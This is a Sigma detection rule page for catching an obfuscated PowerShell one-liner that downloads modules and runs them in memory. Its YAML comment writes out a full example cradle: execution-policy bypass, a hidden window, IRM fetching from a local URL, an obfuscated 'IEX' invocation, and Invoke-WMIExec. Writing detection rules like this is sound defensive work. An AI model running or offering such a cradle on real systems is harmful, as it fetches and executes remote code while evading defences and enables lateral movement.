Detectionhightest

Obfuscated PowerShell OneLiner Execution

Detects the execution of a specific OneLiner to download and execute powershell modules in memory.

Convert In Phoenix Studio

Open this Sigma rule in the converter with the YAML preloaded and ready for backend selection.

Launch
kostastsale, TheDFIRReportCreated Mon May 09Updated Wed Apr 1644e24481-6202-4c62-9127-5a0ae8e3fe3dwindows
Log Source
WindowsProcess Creation
ProductWindows← raw: windows
CategoryProcess Creation← raw: process_creation

Events generated when a new process is spawned on the system. Covers command-line arguments, parent/child relationships, and process metadata.

Detection Logic
Detection Logic1 selector
detection:
    selection:
        # Example: powershell -nop -noni -ep bypass -w h -c "$u=("http://127.0.0.1:1337/"|%%{(IRM $_)});&("".SubString.ToString()[67,72,64]-Join"")($u); Import-Module C:\Users\EXAMPLE\Invoke-WMIExec.ps1; Invoke-WMIExec"
        Image|endswith: '\powershell.exe'
        CommandLine|contains|all:
            - 'http://127.0.0.1'
            - '%{(IRM $_)}'
            - 'Invoke'
    condition: selection
False Positives
Unknown

False positive likelihood has not been assessed. Additional context may be needed during triage.

Rule Metadata
Rule ID
44e24481-6202-4c62-9127-5a0ae8e3fe3d
Status
test
Level
high
Type
Detection
Created
Mon May 09
Modified
Wed Apr 16
Path
rules/windows/process_creation/proc_creation_win_powershell_download_cradle_obfuscated.yml
Raw Tags
attack.defense-evasionattack.executionattack.t1059.001attack.t1562.001
View on GitHub